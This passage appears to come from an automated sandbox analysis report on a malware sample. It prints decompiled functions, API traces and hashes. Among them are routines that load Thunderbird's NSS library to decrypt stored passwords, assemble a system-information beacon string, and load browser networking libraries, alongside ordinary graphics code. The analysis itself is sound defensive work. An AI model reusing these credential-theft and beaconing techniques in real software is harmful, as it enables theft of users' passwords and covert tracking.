				struct HDC__* _t182;
				int _t184;
				void* _t186;
				void* _t187;
				intOrPtr _t188;

				_t186 = _t187;
				_t188 = _t187 + 0xffffffdc;
				_v12 = __ecx;
				_v8 = __edx;
				_t182 = __eax;
				_t184 = _a16;
				_t171 = _a20;
				_v13 = 1;
				_t78 =  *0x3da224; // 0x3d90d4
				if( *_t78 != 2 || _t171 != _a40 || _t184 != _a36) {
					_v40 = 0;
					_v20 = E003A0B90(CreateCompatibleDC(0));
					_push(_t186);
					_push(0x3a0fb4);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
					_v24 = E003A0B90(CreateCompatibleBitmap(_a32, _t171, _t184));
					_v28 = SelectObject(_v20, _v24);
					_t89 =  *0x3db894; // 0x1080be8
					_v40 = SelectPalette(_a32, _t89, 0);
					SelectPalette(_a32, _v40, 0);
					if(_v40 == 0) {
						_t95 =  *0x3db894; // 0x1080be8
						_v40 = SelectPalette(_v20, _t95, 0xffffffff);
					} else {
						_v40 = SelectPalette(_v20, _v40, 0xffffffff);
					}
					RealizePalette(_v20);
					StretchBlt(_v20, 0, 0, _t171, _t184, _a12, _a8, _a4, _t171, _t184, 0xcc0020);
					StretchBlt(_v20, 0, 0, _t171, _t184, _a32, _a28, _a24, _t171, _t184, 0x440328);
					_v32 = SetTextColor(_t182, 0);
					_v36 = SetBkColor(_t182, 0xffffff);
					StretchBlt(_t182, _v8, _v12, _a40, _a36, _a12, _a8, _a4, _t171, _t184, 0x8800c6);
					StretchBlt(_t182, _v8, _v12, _a40, _a36, _v20, 0, 0, _t171, _t184, 0x660046);
					SetTextColor(_t182, _v32);
					SetBkColor(_t182, _v36);
					if(_v28 != 0) {
						SelectObject(_v20, _v28);
					}
					DeleteObject(_v24);
					_pop(_t178);
					 *[fs:eax] = _t178;
					_push(E003A0FBB);
					if(_v40 != 0) {
						SelectPalette(_v20, _v40, 0);
					}
					return DeleteDC(_v20);
				} else {
					_v24 = E003A0B90(CreateCompatibleBitmap(_a32, 1, 1));
					_v24 = SelectObject(_a12, _v24);
					_push(_t186);
					_push(0x3a0e07);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
					MaskBlt(_t182, _v8, _v12, _a40, _a36, _a32, _a28, _a24, _v24, _a8, _a4, E00386AB0(0xaa0029, 0xcc0020));
					_pop(_t180);
					 *[fs:eax] = _t180;
					_push(E003A0FBB);
					_v24 = SelectObject(_a12, _v24);
					return DeleteObject(_v24);
				}
			}

0x003a0d35
0x003a0d37
0x003a0d3d
0x003a0d40
0x003a0d43
0x003a0d45
0x003a0d48
0x003a0d4b
0x003a0d4f
0x003a0d57
0x003a0e10
0x003a0e1f
0x003a0e24
0x003a0e25
0x003a0e2a
0x003a0e2d
0x003a0e40
0x003a0e50
0x003a0e55
0x003a0e64
0x003a0e71
0x003a0e7a
0x003a0e92
0x003a0ea1
0x003a0e7c
0x003a0e8b
0x003a0e8b
0x003a0ea8
0x003a0eca
0x003a0eec
0x003a0ef9
0x003a0f07
0x003a0f2e
0x003a0f53
0x003a0f5d
0x003a0f67
0x003a0f70
0x003a0f7a
0x003a0f7a
0x003a0f83
0x003a0f8a
0x003a0f8d
0x003a0f90
0x003a0f99
0x003a0fa5
0x003a0fa5
0x003a0fb3
0x003a0d6f
0x003a0d81
0x003a0d91
0x003a0d96
0x003a0d97
0x003a0d9c
0x003a0d9f
0x003a0ddb
0x003a0de2
0x003a0de5
0x003a0de8
0x003a0dfa
0x003a0e06
0x003a0e06

APIs

CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 003A0D77
SelectObject.GDI32(?,?), ref: 003A0D8C
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 003A0DDB
SelectObject.GDI32(?,?), ref: 003A0DF5
DeleteObject.GDI32(?), ref: 003A0E01
CreateCompatibleDC.GDI32(00000000), ref: 003A0E15
CreateCompatibleBitmap.GDI32(?,?,?), ref: 003A0E36
SelectObject.GDI32(?,?), ref: 003A0E4B
SelectPalette.GDI32(?,01080BE8,00000000), ref: 003A0E5F
SelectPalette.GDI32(?,?,00000000), ref: 003A0E71
SelectPalette.GDI32(?,00000000,000000FF), ref: 003A0E86
SelectPalette.GDI32(?,01080BE8,000000FF), ref: 003A0E9C
RealizePalette.GDI32(?), ref: 003A0EA8
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 003A0ECA
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 003A0EEC
SetTextColor.GDI32(?,00000000), ref: 003A0EF4
SetBkColor.GDI32(?,00FFFFFF), ref: 003A0F02
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 003A0F2E
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 003A0F53
SetTextColor.GDI32(?,?), ref: 003A0F5D
SetBkColor.GDI32(?,?), ref: 003A0F67
SelectObject.GDI32(?,00000000), ref: 003A0F7A
DeleteObject.GDI32(?), ref: 003A0F83
SelectPalette.GDI32(?,00000000,00000000), ref: 003A0FA5
DeleteDC.GDI32(?), ref: 003A0FAE

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Select$ObjectPalette$ColorStretch$CompatibleCreateDelete$BitmapText$MaskRealize
String ID:
API String ID: 3976802218-0
Opcode ID: 7bb1826e1effd4619f3bccd2f65ef31b8fb8c4587955416c02bf298da1fe95ff
Instruction ID: e6e201462363397130906da154d69dd0e3b967ca40a0cceb1703bf1e84ba57ce
Opcode Fuzzy Hash: 7bb1826e1effd4619f3bccd2f65ef31b8fb8c4587955416c02bf298da1fe95ff
Instruction Fuzzy Hash: 5F816FB1A00209AFDB51EFA9CD82FAF77ECEB0D714F150554F618EB241C675AD008B61

Uniqueness

Uniqueness Score: -1.00%

Function 02341F8F, Relevance: 36.8, APIs: 14, Strings: 7, Instructions: 93libraryloaderstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02341F9C

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

GetCurrentDirectoryW.KERNEL32(00007FFF,00000000,00010012,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02341FC5
lstrcpyW.KERNEL32(-0000FFFE,?), ref: 02341FE5
lstrcpyW.KERNEL32(-00000002,nss3.dll), ref: 02341FF8
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342004
LoadLibraryW.KERNEL32(-0000FFFE), ref: 02342007
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342013
GetProcAddress.KERNEL32(00000000,NSS_Init,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342025
GetProcAddress.KERNEL32(00000000,NSS_Shutdown,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342034
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342043
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342052
GetProcAddress.KERNEL32(00000000,PK11_Authenticate,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342061
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342070
FreeLibrary.KERNEL32(00000000,?,?,?,?,02359B6D,?,%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default), ref: 02342099

Strings

NSS_Init, xrefs: 0234201F
PK11_GetInternalKeySlot, xrefs: 0234203D
nss3.dll, xrefs: 02341FEF
PK11_Authenticate, xrefs: 0234205B
PK11SDR_Decrypt, xrefs: 0234206A
NSS_Shutdown, xrefs: 0234202E
PK11_FreeSlot, xrefs: 0234204C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressProc$CurrentDirectory$Librarylstrcpy$AllocateFreeHeapLoadlstrlen
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
API String ID: 3772355505-3659000792
Opcode ID: 07ff5ba676b3b4a18df4ff26d08ba64b9bc392f3c3a5ac055b6290498495e269
Instruction ID: 2d266e6562a82c31c387feb05373b704dd04ad71ffca288e623efcea91c262e1
Opcode Fuzzy Hash: 07ff5ba676b3b4a18df4ff26d08ba64b9bc392f3c3a5ac055b6290498495e269
Instruction Fuzzy Hash: 352180B1944716BFE7209F318C49E6BBBECAF04784B008969FD0AA2205DF75E414CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00478D23, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00478D23(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x47d018; // 0xa3247f38
				asm("bswap eax");
				_t27 =  *0x47d014; // 0xd5ce6b3c
				asm("bswap eax");
				_t28 =  *0x47d010; // 0xeb65f451
				asm("bswap eax");
				_t29 =  *0x47d00c; // 0x35163570
				asm("bswap eax");
				_t30 =  *0x47d27c; // 0x374a7d0
				_t3 = _t30 + 0x47e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d141, _t29, _t28, _t27, _t26,  *0x47d02c,  *0x47d004, _t25);
				_t33 = E00474077();
				_t34 =  *0x47d27c; // 0x374a7d0
				_t4 = _t34 + 0x47e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E00473CCD(_t91);
				if(_t96 != 0) {
					_t83 =  *0x47d27c; // 0x374a7d0
					_t6 = _t83 + 0x47e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x47d238, 0, _t96);
				}
				_t97 = E00473F90();
				if(_t97 != 0) {
					_t78 =  *0x47d27c; // 0x374a7d0
					_t8 = _t78 + 0x47e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x47d238, 0, _t97);
				}
				_t98 =  *0x47d324; // 0x3bc97d8
				_a32 = E00471203(0x47d00a, _t98 + 4);
				_t42 =  *0x47d2c8; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x47d27c; // 0x374a7d0
					_t11 = _t74 + 0x47e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x47d2c4; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x47d27c; // 0x374a7d0
					_t13 = _t71 + 0x47e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x47d238, 0, 0x800);
					if(_t100 != 0) {
						E004786C4(GetTickCount());
						_t50 =  *0x47d324; // 0x3bc97d8
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x47d324; // 0x3bc97d8
						__imp__(_t54 + 0x40);
						_t56 =  *0x47d324; // 0x3bc97d8
						_t103 = E00476AB0(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x47c2a4);
							_push(_t103);
							_t62 = E00474561();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E004792A2(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E00479E85();
								}
								HeapFree( *0x47d238, 0, _v44);
							}
							HeapFree( *0x47d238, 0, _t103);
						}
						HeapFree( *0x47d238, 0, _t100);
					}
					HeapFree( *0x47d238, 0, _a24);
				}
				HeapFree( *0x47d238, 0, _t105);
				return _a12;
			}

0x00478d23
0x00478d23
0x00478d23
0x00478d2a
0x00478d30
0x00478d38
0x00478d3a
0x00478d3a
0x00478d47
0x00478d52
0x00478d55
0x00478d60
0x00478d63
0x00478d68
0x00478d6b
0x00478d70
0x00478d73
0x00478d7f
0x00478d8c
0x00478d8e
0x00478d94
0x00478d99
0x00478da4
0x00478da6
0x00478da9
0x00478db0
0x00478db4
0x00478db6
0x00478dbb
0x00478dc7
0x00478dc9
0x00478dd5
0x00478dd7
0x00478dd7
0x00478de2
0x00478de6
0x00478de8
0x00478ded
0x00478df9
0x00478dfb
0x00478e07
0x00478e09
0x00478e09
0x00478e0f
0x00478e22
0x00478e26
0x00478e2d
0x00478e30
0x00478e35
0x00478e40
0x00478e42
0x00478e45
0x00478e45
0x00478e47
0x00478e4e
0x00478e51
0x00478e56
0x00478e60
0x00478e62
0x00478e6a
0x00478e83
0x00478e87
0x00478e93
0x00478e98
0x00478ea1
0x00478eb2
0x00478eb6
0x00478ebf
0x00478ec5
0x00478ed2
0x00478edf
0x00478ee5
0x00478ef1
0x00478ef7
0x00478ef8
0x00478eff
0x00478f03
0x00478f09
0x00478f10
0x00478f17
0x00478f1d
0x00478f24
0x00478f28
0x00478f33
0x00478f3a
0x00478f3e
0x00478f47
0x00478f47
0x00478f58
0x00478f58
0x00478f67
0x00478f67
0x00478f76
0x00478f76
0x00478f88
0x00478f88
0x00478f97
0x00478fa8

APIs

GetTickCount.KERNEL32 ref: 00478D3A
wsprintfA.USER32 ref: 00478D87
wsprintfA.USER32 ref: 00478DA4
wsprintfA.USER32 ref: 00478DC7
HeapFree.KERNEL32(00000000,00000000), ref: 00478DD7
wsprintfA.USER32 ref: 00478DF9
HeapFree.KERNEL32(00000000,00000000), ref: 00478E09
wsprintfA.USER32 ref: 00478E40
wsprintfA.USER32 ref: 00478E60
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00478E7D
GetTickCount.KERNEL32 ref: 00478E8D
RtlEnterCriticalSection.NTDLL(03BC9798), ref: 00478EA1
RtlLeaveCriticalSection.NTDLL(03BC9798), ref: 00478EBF

Part of subcall function 00476AB0: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,754294D8,?,?,00478ED2,?,03BC97D8), ref: 00476ADB
Part of subcall function 00476AB0: lstrlen.KERNEL32(?,?,?,00478ED2,?,03BC97D8), ref: 00476AE3
Part of subcall function 00476AB0: strcpy.NTDLL ref: 00476AFA
Part of subcall function 00476AB0: lstrcat.KERNEL32(00000000,?), ref: 00476B05
Part of subcall function 00476AB0: StrTrimA.SHLWAPI(00000000,=), ref: 00476B22

StrTrimA.SHLWAPI(00000000,0047C2A4), ref: 00478EF1

Part of subcall function 00474561: lstrlen.KERNEL32(03BC9C38,00000000,00000000,754294D8,00478EFD,00000000), ref: 00474571
Part of subcall function 00474561: lstrlen.KERNEL32(?), ref: 00474579
Part of subcall function 00474561: lstrcpy.KERNEL32(00000000,03BC9C38), ref: 0047458D
Part of subcall function 00474561: lstrcat.KERNEL32(00000000,?), ref: 00474598

lstrcpy.KERNEL32(00000000,?), ref: 00478F10
lstrcpy.KERNEL32(00000000,00000000), ref: 00478F17
lstrcat.KERNEL32(00000000,?), ref: 00478F24
lstrcat.KERNEL32(00000000,00000000), ref: 00478F28

Part of subcall function 004792A2: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00479354

HeapFree.KERNEL32(00000000,?,00000000), ref: 00478F58
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00478F67
HeapFree.KERNEL32(00000000,00000000,?), ref: 00478F76
HeapFree.KERNEL32(00000000,00000000), ref: 00478F88
HeapFree.KERNEL32(00000000,?), ref: 00478F97

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 2530f3f1b35d1416147952ed196567dc8758db0a365056a67877b3780949645b
Instruction ID: c63c277b54e44447ecb5b98b1a4ec2ccdcab06bfed6813fcd872fc165a36b1a3
Opcode Fuzzy Hash: 2530f3f1b35d1416147952ed196567dc8758db0a365056a67877b3780949645b
Instruction Fuzzy Hash: 91618D71900200AFD7219F65DC88FAA77F8EF48314F044569F90CD7271DB29E8869BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0234F626, Relevance: 33.3, APIs: 10, Strings: 9, Instructions: 85librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(WININET.DLL), ref: 0234F63F
TlsAlloc.KERNEL32 ref: 0234F649
LoadLibraryA.KERNEL32(ieframe), ref: 0234F66B
LoadLibraryA.KERNEL32(ieui), ref: 0234F672
LoadLibraryA.KERNEL32(mshtml), ref: 0234F679
LoadLibraryA.KERNEL32(inetcpl.cpl), ref: 0234F680
LoadLibraryA.KERNEL32(ieapfltr), ref: 0234F687
LoadLibraryA.KERNEL32(urlmon), ref: 0234F68E
___HrLoadAllImportsForDll@4.DELAYIMP ref: 0234F695
HeapFree.KERNEL32(00000000,?,00000000), ref: 0234F716

Strings

ieui, xrefs: 0234F66D
WININET.DLL, xrefs: 0234F637
urlmon, xrefs: 0234F689
WININET.dll, xrefs: 0234F690
inetcpl.cpl, xrefs: 0234F67B
ieapfltr, xrefs: 0234F682
~, xrefs: 0234F727
ieframe, xrefs: 0234F666
mshtml, xrefs: 0234F674

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Load$Library$AllocDll@4FreeHeapImports
String ID: WININET.DLL$WININET.dll$ieapfltr$ieframe$ieui$inetcpl.cpl$mshtml$urlmon$~
API String ID: 1792504554-1081867661
Opcode ID: 701f5e58d946492b2527652630c185fb451f9c2626f3a4ce200f1f7250f9cf40
Instruction ID: 98d15f254259578cffc9ad699c5f8fcb75dfff5bbb9da7b4cf4159c1bc8580b7
Opcode Fuzzy Hash: 701f5e58d946492b2527652630c185fb451f9c2626f3a4ce200f1f7250f9cf40
Instruction Fuzzy Hash: 7021A574E40204BBEB209FA5DC89E6DBFBCEB08794F54C496E505D2144CB74A9458F71

Uniqueness

Uniqueness Score: -1.00%

Function 003A2C90, Relevance: 31.7, APIs: 21, Instructions: 194
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E003A2C90(void* __eax, long __ecx, struct HPALETTE__* __edx) {
				struct HBITMAP__* _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				intOrPtr _v92;
				intOrPtr _v96;
				int _v108;
				int _v112;
				void _v116;
				int _t68;
				long _t82;
				void* _t117;
				intOrPtr _t126;
				intOrPtr _t127;
				long _t130;
				struct HPALETTE__* _t133;
				void* _t137;
				void* _t139;
				intOrPtr _t140;

				_t137 = _t139;
				_t140 = _t139 + 0xffffff90;
				_t130 = __ecx;
				_t133 = __edx;
				_t117 = __eax;
				_v8 = 0;
				if(__eax == 0 || GetObjectA(__eax, 0x54,  &_v116) == 0) {
					return _v8;
				} else {
					E003A2184(_t117);
					_v12 = 0;
					_v20 = 0;
					_push(_t137);
					_push(0x3a2e8b);
					_push( *[fs:eax]);
					 *[fs:eax] = _t140;
					_v12 = E003A0B90(GetDC(0));
					_v20 = E003A0B90(CreateCompatibleDC(_v12));
					_v8 = CreateBitmap(_v112, _v108, 1, 1, 0);
					if(_v8 == 0) {
						L18:
						_t68 = 0;
						_pop(_t126);
						 *[fs:eax] = _t126;
						_push(0x3a2e92);
						if(_v20 != 0) {
							_t68 = DeleteDC(_v20);
						}
						if(_v12 != 0) {
							return ReleaseDC(0, _v12);
						}
						return _t68;
					} else {
						_v32 = SelectObject(_v20, _v8);
						if(_t130 != 0x1fffffff) {
							_v16 = E003A0B90(CreateCompatibleDC(_v12));
							_push(_t137);
							_push(0x3a2e43);
							_push( *[fs:eax]);
							 *[fs:eax] = _t140;
							if(_v96 == 0) {
								_v21 = 0;
							} else {
								_v21 = 1;
								_v92 = 0;
								_t117 = E003A25C8(_t117, _t133, _t133, 0,  &_v116);
							}
							_v28 = SelectObject(_v16, _t117);
							if(_t133 != 0) {
								SelectPalette(_v16, _t133, 0);
								RealizePalette(_v16);
								SelectPalette(_v20, _t133, 0);
								RealizePalette(_v20);
							}
							_t82 = SetBkColor(_v16, _t130);
							BitBlt(_v20, 0, 0, _v112, _v108, _v16, 0, 0, 0xcc0020);
							SetBkColor(_v16, _t82);
							if(_v28 != 0) {
								SelectObject(_v16, _v28);
							}
							if(_v21 != 0) {
								DeleteObject(_t117);
							}
							_pop(_t127);
							 *[fs:eax] = _t127;
							_push(0x3a2e4a);
							return DeleteDC(_v16);
						} else {
							PatBlt(_v20, 0, 0, _v112, _v108, 0x42);
							if(_v32 != 0) {
								SelectObject(_v20, _v32);
							}
							goto L18;
						}
					}
				}
			}

0x003a2c91
0x003a2c93
0x003a2c99
0x003a2c9b
0x003a2c9d
0x003a2ca1
0x003a2ca6
0x003a2e9b
0x003a2cc0
0x003a2cc2
0x003a2cc9
0x003a2cce
0x003a2cd3
0x003a2cd4
0x003a2cd9
0x003a2cdc
0x003a2ceb
0x003a2cfc
0x003a2d12
0x003a2d19
0x003a2e5d
0x003a2e5d
0x003a2e5f
0x003a2e62
0x003a2e65
0x003a2e6e
0x003a2e74
0x003a2e74
0x003a2e7d
0x00000000
0x003a2e85
0x003a2e8a
0x003a2d1f
0x003a2d2c
0x003a2d35
0x003a2d61
0x003a2d66
0x003a2d67
0x003a2d6c
0x003a2d6f
0x003a2d76
0x003a2d96
0x003a2d78
0x003a2d78
0x003a2d7e
0x003a2d92
0x003a2d92
0x003a2da4
0x003a2da9
0x003a2db2
0x003a2dbb
0x003a2dc7
0x003a2dd0
0x003a2dd0
0x003a2dda
0x003a2dfe
0x003a2e08
0x003a2e11
0x003a2e1b
0x003a2e1b
0x003a2e24
0x003a2e27
0x003a2e27
0x003a2e2e
0x003a2e31
0x003a2e34
0x003a2e42
0x003a2d37
0x003a2d49
0x003a2e4e
0x003a2e58
0x003a2e58
0x00000000
0x003a2e4e
0x003a2d35
0x003a2d19

APIs

GetObjectA.GDI32(?,00000054,?), ref: 003A2CB3
GetDC.USER32(00000000), ref: 003A2CE1
CreateCompatibleDC.GDI32(?), ref: 003A2CF2
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 003A2D0D
SelectObject.GDI32(?,00000000), ref: 003A2D27
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 003A2D49
CreateCompatibleDC.GDI32(?), ref: 003A2D57
SelectObject.GDI32(?), ref: 003A2D9F
SelectPalette.GDI32(?,?,00000000), ref: 003A2DB2
RealizePalette.GDI32(?), ref: 003A2DBB
SelectPalette.GDI32(?,?,00000000), ref: 003A2DC7
RealizePalette.GDI32(?), ref: 003A2DD0
SetBkColor.GDI32(?), ref: 003A2DDA
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 003A2DFE
SetBkColor.GDI32(?,00000000), ref: 003A2E08
SelectObject.GDI32(?,00000000), ref: 003A2E1B
DeleteObject.GDI32 ref: 003A2E27
DeleteDC.GDI32(?), ref: 003A2E3D
SelectObject.GDI32(?,00000000), ref: 003A2E58
DeleteDC.GDI32(00000000), ref: 003A2E74
ReleaseDC.USER32(00000000,00000000), ref: 003A2E85

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSelect$Palette$CreateDelete$ColorCompatibleRealize$BitmapRelease
String ID:
API String ID: 332224125-0
Opcode ID: 445297e0b0edf42a90b48421d63122b03cf791e1ffd125e1a1cee5aa12e7710b
Instruction ID: 4916a2ff38e83ee1ec8a95771f56d5a38f34cfb9daf7b073f03b68fd441c3fc0
Opcode Fuzzy Hash: 445297e0b0edf42a90b48421d63122b03cf791e1ffd125e1a1cee5aa12e7710b
Instruction Fuzzy Hash: C6510F71E00309AFDB12EBE9CC56FAFB7FCEB09700F114855B614EB292D6B599408B60

Uniqueness

Uniqueness Score: -1.00%

Function 003A39AC, Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 351
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E003A39AC(intOrPtr __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, char* _a4) {
				intOrPtr _v8;
				intOrPtr* _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				void* _v24;
				BITMAPINFOHEADER* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v37;
				struct HBITMAP__* _v44;
				void* _v48;
				struct HPALETTE__* _v52;
				struct HPALETTE__* _v56;
				intOrPtr* _v60;
				intOrPtr* _v64;
				short _v66;
				short _v68;
				signed short _v70;
				signed short _v72;
				void* _v76;
				intOrPtr _v172;
				char _v174;
				intOrPtr _t150;
				signed int _t160;
				intOrPtr _t164;
				signed int _t193;
				signed int _t218;
				signed short _t224;
				intOrPtr _t251;
				intOrPtr* _t255;
				intOrPtr _t261;
				intOrPtr _t299;
				intOrPtr _t300;
				intOrPtr _t305;
				signed int _t307;
				signed int _t327;
				void* _t329;
				void* _t330;
				signed int _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr _t335;

				_t326 = __edi;
				_t333 = _t334;
				_t335 = _t334 + 0xffffff54;
				_t329 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v52 = 0;
				_v44 = 0;
				_v60 = 0;
				 *((intOrPtr*)( *_v12 + 0xc))(__edi, __esi, __ebx, _t332);
				_v37 = _v36 == 0xc;
				if(_v37 != 0) {
					_v36 = 0x28;
				}
				_v28 = E003826CC(_v36 + 0x40c);
				_v64 = _v28;
				_push(_t333);
				_push(0x3a3ec9);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				_push(_t333);
				_push(0x3a3e9c);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				if(_v37 == 0) {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t330 = _t329 - _v36;
					_t150 =  *((intOrPtr*)(_v64 + 0x10));
					if(_t150 != 3 && _t150 != 0) {
						_v60 = E003830CC(1);
						if(_a4 == 0) {
							E00382B10( &_v174, 0xe);
							_v174 = 0x4d42;
							_v172 = _v36 + _t330;
							_a4 =  &_v174;
						}
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
